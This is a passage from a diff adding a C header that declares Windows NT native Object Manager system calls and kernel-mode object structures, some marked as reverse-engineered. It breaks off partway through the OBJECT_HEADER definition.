+NTAPI +ZwDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakeTemporaryObject( + _In_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMakeTemporaryObject( + _In_ HANDLE Handle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakePermanentObject( + _In_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMakePermanentObject( + _In_ HANDLE Handle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_When_(Timeout == NULL, _IRQL_requires_max_(APC_LEVEL)) +_When_(Timeout->QuadPart != 0, _IRQL_requires_max_(APC_LEVEL)) +_When_(Timeout->QuadPart == 0, _IRQL_requires_max_(DISPATCH_LEVEL)) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_to_(Length, *LengthNeeded) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtClose( + _In_ _Post_ptr_invalid_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + _In_ HANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +// +// Directory objects +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +typedef struct _OBJECT_DIRECTORY_INFORMATION +{ + UNICODE_STRING Name; + UNICODE_STRING TypeName; + +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength +); + +// +// Private namespaces +// + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +typedef enum _BOUNDARY_ENTRY_TYPE +{ + OBNS_Invalid, + OBNS_Name, + OBNS_SID, + OBNS_IL +} BOUNDARY_ENTRY_TYPE; + +// private +typedef struct _OBJECT_BOUNDARY_ENTRY +{ + BOUNDARY_ENTRY_TYPE EntryType; + ULONG EntrySize; +} OBJECT_BOUNDARY_ENTRY, * POBJECT_BOUNDARY_ENTRY; + +// rev +#define OBJECT_BOUNDARY_DESCRIPTOR_VERSION 1 + +// private +typedef struct _OBJECT_BOUNDARY_DESCRIPTOR +{ + ULONG Version; + ULONG Items; + ULONG TotalSize; + union + { + ULONG Flags; + struct + { + ULONG AddAppContainerSid : 1; + ULONG Reserved : 31; + }; + }; +} OBJECT_BOUNDARY_DESCRIPTOR, * POBJECT_BOUNDARY_DESCRIPTOR; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle +); +#endif + +// +// Symbolic links +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength +); + +typedef enum _SYMBOLIC_LINK_INFORMATION_CLASS +{ + SymbolicLinkGlobalInformation = 1, // s: ULONG + SymbolicLinkAccessMask, // s: ACCESS_MASK + MaxnSymbolicLinkInfoClass +} SYMBOLIC_LINK_INFORMATION_CLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationSymbolicLink( + _In_ HANDLE LinkHandle, + _In_ SYMBOLIC_LINK_INFORMATION_CLASS SymbolicLinkInformationClass, + _In_reads_bytes_(SymbolicLinkInformationLength) PVOID SymbolicLinkInformation, + _In_ ULONG SymbolicLinkInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationSymbolicLink( + _In_ HANDLE LinkHandle, + _In_ SYMBOLIC_LINK_INFORMATION_CLASS SymbolicLinkInformationClass, + _In_reads_bytes_(SymbolicLinkInformationLength) PVOID SymbolicLinkInformation, + _In_ ULONG SymbolicLinkInformationLength +); + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Object Type + +extern POBJECT_TYPE* CmKeyObjectType; +extern POBJECT_TYPE* LpcPortObjectType; +extern POBJECT_TYPE* SeTokenObjectType; +extern POBJECT_TYPE* MmSectionObjectType; + +extern POBJECT_TYPE* ExActivationObjectType; +extern POBJECT_TYPE* ExCompositionObjectType; +extern POBJECT_TYPE* ExCoreMessagingObjectType; +extern POBJECT_TYPE* ExDesktopObjectType; +extern POBJECT_TYPE* ExEventObjectType; +extern POBJECT_TYPE* ExRawInputManagerObjectType; +extern POBJECT_TYPE* ExSemaphoreObjectType; +extern POBJECT_TYPE* ExTimerObjectType; +extern POBJECT_TYPE* ExWindowStationObjectType; + +extern POBJECT_TYPE* IoAdapterObjectType; +extern POBJECT_TYPE* IoCompletionObjectType; +extern POBJECT_TYPE* IoDeviceHandlerObjectType; +extern POBJECT_TYPE* IoDeviceObjectType; +extern POBJECT_TYPE* IoDriverObjectType; +extern POBJECT_TYPE* IoFileObjectType; + +extern POBJECT_TYPE* TmEnlistmentObjectType; +extern POBJECT_TYPE* TmResourceManagerObjectType; +extern POBJECT_TYPE* TmTransactionManagerObjectType; +extern POBJECT_TYPE* TmTransactionObjectType; + +// Function + +typedef struct _OBJECT_DUMP_CONTROL { + PVOID Stream; + ULONG Detail; +} OB_DUMP_CONTROL, * POB_DUMP_CONTROL; + +typedef VOID(NTAPI * OB_DUMP_METHOD)( + _In_ PVOID Object, + _In_opt_ POB_DUMP_CONTROL Control + ); + +typedef enum _OB_OPEN_REASON +{ + ObCreateHandle, + ObOpenHandle, + ObDuplicateHandle, + ObInheritHandle, + ObMaxOpenReason +} OB_OPEN_REASON; + +typedef NTSTATUS(NTAPI * OB_OPEN_METHOD)( + _In_ OB_OPEN_REASON OpenReason, + _In_ KPROCESSOR_MODE PreviousMode, + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ ACCESS_MASK GrantedAccess, + _In_ ULONG HandleCount + ); + +typedef BOOLEAN(NTAPI * OB_OKAYTOCLOSE_METHOD)( + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ HANDLE Handle, + _In_ KPROCESSOR_MODE PreviousMode + ); + +typedef VOID(NTAPI *OB_CLOSE_METHOD)( + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ ULONG_PTR ProcessHandleCount, + _In_ ULONG_PTR SystemHandleCount + ); + +typedef VOID(NTAPI*OB_DELETE_METHOD)( + _In_ PVOID Object + ); + +typedef NTSTATUS(NTAPI*OB_PARSE_METHOD)( + _In_ PVOID ParseObject, + _In_ PVOID ObjectType, + _Inout_ PACCESS_STATE AccessState, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Attributes, + _Inout_ PUNICODE_STRING CompleteName, + _Inout_ PUNICODE_STRING RemainingName, + _Inout_opt_ PVOID Context, + _In_opt_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Out_ PVOID* Object + ); + +typedef struct _OB_EXTENDED_PARSE_PARAMETERS +{ + UINT16 Length; + ULONG32 RestrictedAccessMask; + struct _EJOB* Silo; +} OB_EXTENDED_PARSE_PARAMETERS, * POB_EXTENDED_PARSE_PARAMETERS; + +typedef NTSTATUS(NTAPI* OB_PARSE_EX_METHOD)( + _In_ PVOID ParseObject, + _In_ PVOID ObjectType, + _Inout_ PACCESS_STATE AccessState, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Attributes, + _Inout_ PUNICODE_STRING CompleteName, + _Inout_ PUNICODE_STRING RemainingName, + _Inout_opt_ PVOID Context, + _In_opt_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + POB_EXTENDED_PARSE_PARAMETERS ExtendedParameters, + _Out_ PVOID* Object + ); + +typedef NTSTATUS(NTAPI*OB_SECURITY_METHOD)( + _In_ PVOID Object, + _In_ SECURITY_OPERATION_CODE OperationCode, + _In_ PSECURITY_INFORMATION SecurityInformation, + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Inout_ PULONG CapturedLength, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ POOL_TYPE PoolType, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ KPROCESSOR_MODE AccessMode + ); + +typedef NTSTATUS(NTAPI*OB_QUERYNAME_METHOD)( + _In_ PVOID Object, + _In_ BOOLEAN HasObjectName, + _Out_ POBJECT_NAME_INFORMATION ObjectNameInfo, + _In_ ULONG Length, + _Out_ PULONG ReturnLength, + _In_ KPROCESSOR_MODE Mode + ); + +typedef struct _OBJECT_TYPE_INITIALIZER +{ + UINT16 Length; + union + { + UINT16 ObjectTypeFlags; + struct + { + struct + { + UINT8 CaseInsensitive : 1; + UINT8 UnnamedObjectsOnly : 1; + UINT8 UseDefaultObject : 1; + UINT8 SecurityRequired : 1; + UINT8 MaintainHandleCount : 1; + UINT8 MaintainTypeList : 1; + UINT8 SupportsObjectCallbacks : 1; + UINT8 CacheAligned : 1; + }; + struct + { + UINT8 UseExtendedParameters : 1; + UINT8 Reserved : 7; + }; + }; + }; + ULONG32 ObjectTypeCode; + ULONG32 InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG32 ValidAccessMask; + ULONG32 RetainAccess; + POOL_TYPE PoolType; + ULONG32 DefaultPagedPoolCharge; + ULONG32 DefaultNonPagedPoolCharge; + OB_DUMP_METHOD DumpProcedure; + OB_OPEN_METHOD OpenProcedure; + OB_CLOSE_METHOD CloseProcedure; + OB_DELETE_METHOD DeleteProcedure; + union + { + OB_PARSE_METHOD ParseProcedure; + OB_PARSE_EX_METHOD ParseProcedureEx; + }; + OB_SECURITY_METHOD SecurityProcedure; + OB_QUERYNAME_METHOD QueryNameProcedure; + OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; + ULONG32 WaitObjectFlagMask; + UINT16 WaitObjectFlagOffset; + UINT16 WaitObjectPointerOffset; +} OBJECT_TYPE_INITIALIZER, * POBJECT_TYPE_INITIALIZER; + +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define SIZEOF_OBJECT_TYPE_INITIALIZER (sizeof OBJECT_TYPE_INITIALIZER) +#else +#define SIZEOF_OBJECT_TYPE_INITIALIZER (FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, WaitObjectFlagMask)) +#endif + +NTKERNELAPI +NTSTATUS +NTAPI +ObCreateObjectType( + _In_ PUNICODE_STRING TypeName, + _In_ POBJECT_TYPE_INITIALIZER ObjectTypeInitializer, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ POBJECT_TYPE* ObjectType +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObCreateObject( + _In_ KPROCESSOR_MODE ProbeMode, + _In_ POBJECT_TYPE ObjectType, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ KPROCESSOR_MODE OwnershipMode, + _Inout_opt_ PVOID ParseContext, + _In_ ULONG ObjectBodySize, + _In_ ULONG PagedPoolCharge, + _In_ ULONG NonPagedPoolCharge, + _Out_ PVOID* Object +); + +NTKERNELAPI +NTSTATUS +ObInsertObject( + _In_ PVOID Object, + _Inout_opt_ PACCESS_STATE PassedAccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _In_ ULONG ObjectPointerBias, + _Out_opt_ PVOID* NewObject, + _Out_opt_ PHANDLE Handle +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObOpenObjectByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Inout_opt_ PACCESS_STATE AccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _Inout_opt_ PVOID ParseContext, + _Out_ PHANDLE Handle +); + +NTKERNELAPI +NTSTATUS +ObOpenObjectByPointer( + _In_ PVOID Object, + _In_ ULONG HandleAttributes, + _In_opt_ PACCESS_STATE PassedAccessState, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Out_ PHANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTKERNELAPI +NTSTATUS +ObOpenObjectByPointerWithTag( + _In_ PVOID Object, + _In_ ULONG HandleAttributes, + _In_opt_ PACCESS_STATE PassedAccessState, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Tag, + _Out_ PHANDLE Handle +); +#endif + +NTKERNELAPI +VOID +ObMakeTemporaryObject( + _In_ PVOID Object +); + +NTSYSAPI +BOOLEAN +NTAPI +ObFindHandleForObject( + _In_ PEPROCESS Process, + _In_ PVOID Object, + _In_opt_ POBJECT_TYPE ObjectType, + _In_opt_ POBJECT_HANDLE_INFORMATION MatchCriteria, + _Out_ PHANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) + +NTKERNELAPI +BOOLEAN +FASTCALL +ObReferenceObjectSafe( + _In_ PVOID Object +); + +NTKERNELAPI +BOOLEAN +FASTCALL +ObReferenceObjectSafeWithTag( + _In_ PVOID Object, + _In_ ULONG Tag +); + +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +NTKERNELAPI +NTSTATUS +NTAPI +ObReferenceObjectByName( + _In_ PUNICODE_STRING ObjectName, + _In_ ULONG Attributes, + _In_opt_ PACCESS_STATE AccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Inout_opt_ PVOID ParseContext, + _Out_ PVOID* Object +); + +NTKERNELAPI +NTSTATUS +ObQueryNameString( + _In_ PVOID Object, + _Out_writes_bytes_opt_(Length) POBJECT_NAME_INFORMATION ObjectNameInfo, + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); + +FORCEINLINE HANDLE ObMakeKernelHandle(HANDLE Handle) +{ +#ifdef _X86_ +#define KERNEL_HANDLE_BIT (0x80000000) +#else +#define KERNEL_HANDLE_BIT (0xffffffff80000000) +#endif + + return ((HANDLE)((ULONG_PTR)(Handle) | KERNEL_HANDLE_BIT)); +} + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTKERNELAPI +BOOLEAN +ObIsKernelHandle( + _In_ HANDLE Handle +); +#endif // NTDDI_VERSION >= NTDDI_VISTA + +// begin: Object Header +#include + +typedef struct _OBJECT_HEADER_CREATOR_INFO +{ + LIST_ENTRY TypeList; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Reserved1; +#ifdef _WIN64 + ULONG Reserved2; +#endif +} OBJECT_HEADER_CREATOR_INFO, * POBJECT_HEADER_CREATOR_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_CREATOR_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_NAME_INFO +{ + struct _OBJECT_DIRECTORY* Directory; + UNICODE_STRING Name; + LONG ReferenceCount; +#ifdef _WIN64 + ULONG Reserved; +#endif +} OBJECT_HEADER_NAME_INFO, * POBJECT_HEADER_NAME_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_NAME_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY +{ + PEPROCESS Process; + struct + { + ULONG HandleCount : 24; + ULONG LockCount : 8; + }; +} OBJECT_HANDLE_COUNT_ENTRY, * POBJECT_HANDLE_COUNT_ENTRY; +C_ASSERT(sizeof(OBJECT_HANDLE_COUNT_ENTRY) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HANDLE_COUNT_DATABASE +{ + ULONG CountEntries; + OBJECT_HANDLE_COUNT_ENTRY HandleCountEntries[1]; + +} OBJECT_HANDLE_COUNT_DATABASE, * POBJECT_HANDLE_COUNT_DATABASE; +C_ASSERT(sizeof(OBJECT_HANDLE_COUNT_DATABASE) == (sizeof(void*) == sizeof(__int32) ? 0x000C : 0x0018)); + +typedef struct _OBJECT_HEADER_HANDLE_INFO +{ + union + { + POBJECT_HANDLE_COUNT_DATABASE HandleCountDataBase; + OBJECT_HANDLE_COUNT_ENTRY SingleEntry; + }; +} OBJECT_HEADER_HANDLE_INFO, * POBJECT_HEADER_HANDLE_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_HANDLE_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_QUOTA_INFO +{ + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; +#ifdef _WIN64 + ULONG Reserved1; + PVOID SecurityDescriptorQuotaBlock; + ULONG64 Reserved2; +#else + PVOID SecurityDescriptorQuotaBlock; +#endif +} OBJECT_HEADER_QUOTA_INFO, * POBJECT_HEADER_QUOTA_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_QUOTA_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_PROCESS_INFO +{ + PEPROCESS ExclusiveProcess; + SIZE_T Reserved; + +} OBJECT_HEADER_PROCESS_INFO, * POBJECT_HEADER_PROCESS_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_PROCESS_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_AUDIT_INFO +{ + PVOID SecurityDescriptor; + SIZE_T Reserved; + +} OBJECT_HEADER_AUDIT_INFO, * POBJECT_HEADER_AUDIT_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_AUDIT_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_HANDLE_REVOCATION_INFO +{ + LIST_ENTRY ListEntry; + struct _OB_HANDLE_REVOCATION_BLOCK* RevocationBlock; + UINT8 Padding1[4]; +#ifdef _WIN64 + UINT8 Padding2[4]; +#endif +} OBJECT_HEADER_HANDLE_REVOCATION_INFO, * POBJECT_HEADER_HANDLE_REVOCATION_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_HANDLE_REVOCATION_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_EXTENDED_INFO +{ + struct _OBJECT_FOOTER* Footer; + SIZE_T Reserved; + +} OBJECT_HEADER_EXTENDED_INFO, * POBJECT_HEADER_EXTENDED_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_EXTENDED_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_PADDING_INFO +{ + ULONG PaddingAmount; + +} OBJECT_HEADER_PADDING_INFO, * POBJECT_HEADER_PADDING_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_PADDING_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0004 : 0x0004)); + +typedef struct _OBJECT_CREATE_INFORMATION +{ + ULONG Attributes; + HANDLE RootDirectory; + KPROCESSOR_MODE ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; + +} OBJECT_CREATE_INFORMATION, * POBJECT_CREATE_INFORMATION; +C_ASSERT(sizeof(OBJECT_CREATE_INFORMATION) == (sizeof(void*) == sizeof(__int32) ? 0x002C : 0x0040)); + +typedef struct _OBJECT_HEADER +{ + LONG_PTR PointerCount; + union + { + LONG_PTR HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UINT8 TypeIndex; + union + { + UINT8 TraceFlags; + struct + { + UINT8 DbgRefTrace : 1; + UINT8 DbgTracePermanent : 1; + }; + }; + UINT8 InfoMask; + union + { + UINT8 Flags; + struct + { + UINT8 NewObject : 1; + UINT8 KernelObject : 1; + UINT8 KernelOnlyAccess : 1; + UINT8 ExclusiveObject : 1; + UINT8 PermanentObject : 1; + UINT8 DefaultSecurityQuota : 1; + UINT8 SingleHandleEntry : 1; + UINT8 DeletedInline : 1; + }; + }; + +#ifdef _WIN64 + ULONG Reserved; +#endif + + union + { + POBJECT_CREATE_INFORMATION 